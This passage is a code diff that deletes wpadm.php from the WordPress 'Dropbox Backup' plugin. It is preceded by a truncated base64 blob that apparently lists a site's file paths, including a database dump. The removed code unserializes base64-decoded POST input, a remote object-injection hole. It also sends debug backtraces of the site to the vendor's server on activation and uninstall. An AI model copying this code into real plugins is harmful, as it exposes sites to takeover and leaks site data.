AtaW5jbHVkZXMvY2xhc3Mtd3AtY3VzdG9taXplLXNlY3Rpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZmVlZC1hdG9tLWNvbW1lbnRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NlcnRpZmljYXRlcy9jYS1idW5kbGUuY3J0IjtpOjI4ODtzOjcxMzoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy90aGVtZS1jb21wYXQvZm9vdGVyLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdC9jb21tZW50cy1wb3B1cC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy90aGVtZS1jb21wYXQvc2lkZWJhci5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy90aGVtZS1jb21wYXQvaGVhZGVyLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdC9jb21tZW50cy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jcm9uLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2RlZmF1bHQtZmlsdGVycy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy53cC1zY3JpcHRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2xvY2FsZS5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLnRhZy5pZDN2MS5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvZ2V0aWQzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lEMy9tb2R1bGUuYXVkaW8uZmxhYy5waHAiO2k6Mjg5O3M6MjUwOiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lEMy9saWNlbnNlLmNvbW1lcmNpYWwudHh0LC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvSUQzL3JlYWRtZS50eHQsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLm1wMy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLXZpZGVvLnJpZmYucGhwIjtpOjI5MDtzOjQwMzoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLnRhZy5hcGV0YWcucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvSUQzL21vZHVsZS50YWcubHlyaWNzMy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLmFjMy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLmR0cy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLXZpZGVvLm1hdHJvc2thLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lEMy9tb2R1bGUuYXVkaW8tdmlkZW8ucXVpY2t0aW1lLnBocCI7aToyOTE7czoxMTk6Ii9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvSUQzL21vZHVsZS50YWcuaWQzdjIucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvSUQzL2dldGlkMy5saWIucGhwIjtpOjI5MjtzOjIwMDoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLXZpZGVvLmZsdi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLm9nZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9JRDMvbW9kdWxlLmF1ZGlvLXZpZGVvLmFzZi5waHAiO2k6MjkzO3M6NTA3OiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lEMy9saWNlbnNlLnR4dCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLXJvbGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd2Fsa2VyLXBhZ2UucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtdXNlci5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy13YWxrZXItY29tbWVudC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9mZWVkLXJkZi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy13cC10YXgtcXVlcnkucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZGVwcmVjYXRlZC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9tcy1zZXR0aW5ncy5waHAiO2k6Mjk0O3M6MjI4OiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL25hdi1tZW51LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLUlYUi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy13cC1jdXN0b21pemUtcGFuZWwucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiO2k6Mjk1O3M6MTgxOiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLWZlZWQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd2Fsa2VyLWNhdGVnb3J5LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLXhtbHJwYy1zZXJ2ZXIucGhwIjtpOjI5NjtzOjI3MjoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9wbHVnZ2FibGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvYm9va21hcmstdGVtcGxhdGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMva3Nlcy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jbGFzcy13cC1odHRwLWN1cmwucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvc2hvcnRjb2Rlcy5waHAiO2k6Mjk3O3M6MTE4OiIvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLWltYWdlLWVkaXRvci1pbWFnaWNrLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Bvc3QucGhwIjtpOjI5ODtzOjQ5NzoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9vcHRpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3Atcm9sZXMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbXMtZmlsZXMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWVkaWEtdGVtcGxhdGUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvcmVzdC1hcGkvY2xhc3Mtd3AtcmVzdC1yZXF1ZXN0LnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2NsYXNzLXdwLXJlc3Qtc2VydmVyLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBpL2NsYXNzLXdwLXJlc3QtcmVzcG9uc2UucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtYWpheC1yZXNwb25zZS5waHAiO2k6Mjk5O3M6Mjg0NDoiL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9kZWZhdWx0LXdpZGdldHMucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvZmVlZC1yc3MyLWNvbW1lbnRzLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NsYXNzLXdwLWh0dHAtcmVzcG9uc2UucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtZW1iZWQucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY2xhc3Mtd3AtaHR0cC1jb29raWUucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvc2Vzc2lvbi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5ldy1tZW51LXNlY3Rpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS11cGxvYWQtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW1lZGlhLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLXdpZGdldC1hcmVhLWN1c3RvbWl6ZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtc2lkZWJhci1zZWN0aW9uLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmV3LW1lbnUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWl0ZW0tc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LW5hbWUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWxvY2F0aW9uLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1maWx0ZXItc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWhlYWRlci1pbWFnZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmF2LW1lbnUtaXRlbS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtaGVhZGVyLWltYWdlLXNldHRpbmcucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS10aGVtZXMtc2VjdGlvbi5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LXNldHRpbmcucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1uYXYtbWVudXMtcGFuZWwucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1pbWFnZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtdGhlbWUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWNvbG9yLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLXdpZGdldC1mb3JtLWN1c3RvbWl6ZS1jb250cm9sLnBocCwvaG9tZS9ic2VyYmluL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2N1c3RvbWl6ZS9jbGFzcy13cC1jdXN0b21pemUtbmF2LW1lbnUtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LXNlY3Rpb24ucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1iYWNrZ3JvdW5kLWltYWdlLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvY3VzdG9taXplL2NsYXNzLXdwLWN1c3RvbWl6ZS1zaXRlLWljb24tY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWNyb3BwZWQtaW1hZ2UtY29udHJvbC5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLWJhY2tncm91bmQtaW1hZ2Utc2V0dGluZy5waHAsL2hvbWUvYnNlcmJpbi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jdXN0b21pemUvY2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWF1dG8tYWRkLWNvbnRyb2wucGhwLC9ob21lL2JzZXJiaW4vcHVibGljX2h0bWwvd3AtY29udGVudC9Ecm9wYm94X0JhY2t1cC9teXNxbGR1bXAuc3FsIjt9
wpadm.php DELETED
@@ -1,249 +0,0 @@
1
- <?php
2
- if (! defined("WPADM_URL_BASE")) {
3
- define("WPADM_URL_BASE", 'http://secure.wpadm.com/');
4
- }
5
- /**
6
- * General functions
7
- *
8
- */
9
-
10
- if ( ! function_exists( 'wpadm_run' )) {
11
- function wpadm_run($pl, $dir) {
12
- @set_time_limit(0);
13
- require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
14
- $request_name = $pl . '_request';
15
- if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
16
- require_once dirname(__FILE__) . '/class-wpadm-core.php';
17
- $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
18
- echo '<wpadm>'.wpadm_pack($wpadm->getResult()->toArray()).'</wpadm>';
19
- exit;
20
- }
21
- }
22
- }
23
- if ( ! function_exists('wpadm_include_admins_script') ) {
24
- function wpadm_include_admins_script()
25
- {
26
- wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/css/admin-style-wpadm.css", __FILE__ ) );
27
- }
28
- }
29
-
30
-
31
- if ( ! function_exists( 'wpadm_unpack' )) {
32
- /**
33
- * @param str $str
34
- * @return mixed
35
- */
36
- function wpadm_unpack( $str ) {
37
- return unserialize( base64_decode( $str ) );
38
- }
39
- }
40
-
41
- if ( ! function_exists('wpadm_pack')) {
42
- /**
43
- * @param mixed $value
44
- * @return string
45
- */
46
- function wpadm_pack( $value ) {
47
- return base64_encode( serialize ( $value ) ) ;
48
- }
49
- }
50
-
51
- if ( ! function_exists('wpadm_admin_notice')) {
52
- function wpadm_admin_notice() {
53
- global $status, $page, $s;
54
- $context = $status;
55
- $plugin = 'dropbox-backup/dropbox-backup.php';
56
- $nonce = wp_create_nonce('deactivate-plugin_' . $plugin);
57
- $actions = 'plugins.php?action=deactivate&amp;plugin=' . urlencode($plugin) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s . '&amp;_wpnonce=' . $nonce;
58
- $wpadm_key = !get_option('wpadm_pub_key');
59
- $url = home_url();
60
- $url = str_ireplace(array('http://', 'https://'), "", $url);
61
- $url = str_ireplace(array('www.'), "", $url);
62
- if (substr($url, -1) == "/") {
63
- $url = substr($url, 0, strlen($url) );
64
- }
65
- $plugin = md5('dropbox-backup');
66
-
67
- ?>
68
-
69
-
70
- <?php if ($wpadm_key) { ?>
71
- <div class="wpadm-notice">
72
- <div class="registr">
73
- Please add this site to your
74
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
75
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
76
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
77
- <input type="submit" value="WPAdm" class="button-wpadm" style="margin-top: -3px;" />
78
- </form>
79
- account or <a href="<?php echo $actions;?>">deactivate DropBox Backup</a> plugin
80
- </div>
81
- </div>
82
- <?php } else { ?>
83
- <div class="wpadm-notice" style="height: 195px">
84
- <div class="registr" style="font-size: 14px; margin-top: 10px; line-height: 24px;">
85
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
86
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
87
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
88
- <input type="hidden" name="u" value="<?php echo 1;?>" />
89
- Dear user, <br />
90
- all Backups you have made by <strong>Dropbox Backup</strong> plugin are safe and available at their place, but, according to the rules of Wordpress system, we had to update the logic of <strong>Dropbox Backup</strong> plugin.<br />
91
- Now, if you want to see the <strong>Dropbox Backup</strong> plugin interface in your admin-panel again, you must upgrade this plugin from
92
- <input type="submit" value="our page" class="button-link" />.
93
- This is optional feature, you mustn’t do it, but you can. <br />
94
- Also, you can administrate all of your Backups for all of your web pages from one place – <input type="submit" value="WPAdm-account" class="button-link" />. This account is FULL FREE.<br />
95
- Here you can <input type="submit" value="login" class="button-wpadm" style="margin-top: -3px;" /> to your account or register in the WPAdm system.
96
- </form>
97
- </div>
98
- </div>
99
- <?php
100
- } ?>
101
-
102
-
103
- <?php
104
- }
105
- }
106
-
107
-
108
- if ( ! function_exists('wpadm_deactivation')) {
109
- function wpadm_deactivation() {
110
- wpadm_send_blog_info('deactivation');
111
- }
112
- }
113
-
114
-
115
- if ( ! function_exists('wpadm_uninstall')) {
116
- function wpadm_uninstall() {
117
- wpadm_send_blog_info('uninstall');
118
- }
119
- }
120
-
121
-
122
- if ( ! function_exists('wpadm_activation')) {
123
- function wpadm_activation() {
124
- wpadm_send_blog_info('activation');
125
- }
126
- }
127
-
128
- if ( ! function_exists('wpadm_send_blog_info')) {
129
- function wpadm_send_blog_info($status) {
130
- $info = wpadm_get_blog_info();
131
- $info['status'] = $status;
132
-
133
- $data = wpadm_pack($info);
134
- $host = WPADM_URL_BASE;
135
- $host = str_replace(array('http://','https://'), '', trim($host,'/'));
136
- $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
- fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
138
- fwrite($socket, "Host: {$host}\r\n");
139
-
140
- fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
141
- fwrite($socket,"Content-length:".strlen($data)."\r\n");
142
- fwrite($socket,"Accept:*/*\r\n");
143
- fwrite($socket,"User-agent:Opera 10.00\r\n");
144
- fwrite($socket,"Connection:Close\r\n");
145
- fwrite($socket,"\r\n");
146
- sleep(1);
147
- fclose($socket);
148
- }
149
- }
150
-
151
- if ( ! function_exists('wpadm_get_blog_info')) {
152
- function wpadm_get_blog_info() {
153
- $info = array(
154
- 'url' => get_site_url(),
155
- );
156
- $debug = debug_backtrace();
157
- $info['debug'] = $debug;
158
- $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
159
- preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m); ;
160
- $info['plugin'] = $m[1];
161
-
162
- return $info;
163
- }
164
- }
165
-
166
- if (!function_exists("get_system_data")) {
167
- function get_system_data()
168
- {
169
-
170
- global $wp_version;
171
-
172
- /*
173
- *
174
- * Get the settings of php to show in plugin information-page.
175
- * It will get the minimum requirements of php and mysql configuration, version and language of wordpress
176
- * additionally, AFTER the user has been registered at WPAdm service AND has confirmed their registration(!) this data
177
- * will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
178
- * Information about sending of this data is published in readme.txt of this plugin
179
- * WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
180
- *
181
- */
182
- $phpVersion = phpversion();
183
- $maxExecutionTime = ini_get('max_execution_time');
184
- $maxMemoryLimit = ini_get('memory_limit');
185
- $extensions = implode(', ', get_loaded_extensions());
186
- $disabledFunctions = ini_get('disable_functions');
187
- $mysqlVersion = '';
188
- $mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD);
189
- if (!mysqli_connect_errno()) {
190
- $mysqlVersion = $mysqli->server_info;
191
- }
192
- $upMaxExecutionTime = 0;
193
- $newMaxExecutionTime = intval($maxExecutionTime) + 60;
194
- @set_time_limit( $newMaxExecutionTime );
195
- if( ini_get('max_execution_time') == $newMaxExecutionTime ){
196
- $upMaxExecutionTime = 1;
197
- $maxExecutionTime = ini_get('max_execution_time');
198
- }
199
- $upMemoryLimit = 0;
200
- $newMemoryLimit = intval($maxMemoryLimit) + 60;
201
- ini_set('memory_limit', $newMemoryLimit.'M');
202
- if( ini_get('memory_limit') == $newMemoryLimit ){
203
- $upMemoryLimit = 1;
204
- $maxMemoryLimit = ini_get('memory_limit');
205
- }
206
- $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
207
- $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
208
-
209
- $ex = check_function($extensions, $extensions_search);
210
- $func = check_function($disabledFunctions, $disabledFunctions_search, true);
211
-
212
- return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
213
- 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
214
- 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
215
- 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
216
- 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
217
- 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
218
- 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
219
- );
220
-
221
- }
222
- }
223
- if (! function_exists('check_function')) {
224
- function check_function($func, $search, $type = false)
225
- {
226
- if (is_string($func)) {
227
- $func = explode(", ", $func);
228
- }
229
- if (is_string($search)) {
230
- $search = explode(", ", $search);
231
- }
232
- $res = false;
233
- $n = count($search);
234
- for($i = 0; $i < $n; $i++) {
235
- if (in_array($search[$i], $func) === $type) {
236
- $res[] = $search[$i];
237
- }
238
- }
239
- return $res;
240
- }
241
- }
242
-
243
- if (! function_exists('check_version')) {
244
- function check_version($ver, $ver2)
245
- {
246
- return version_compare($ver, $ver2, ">");
247
- }
248
- }
249
-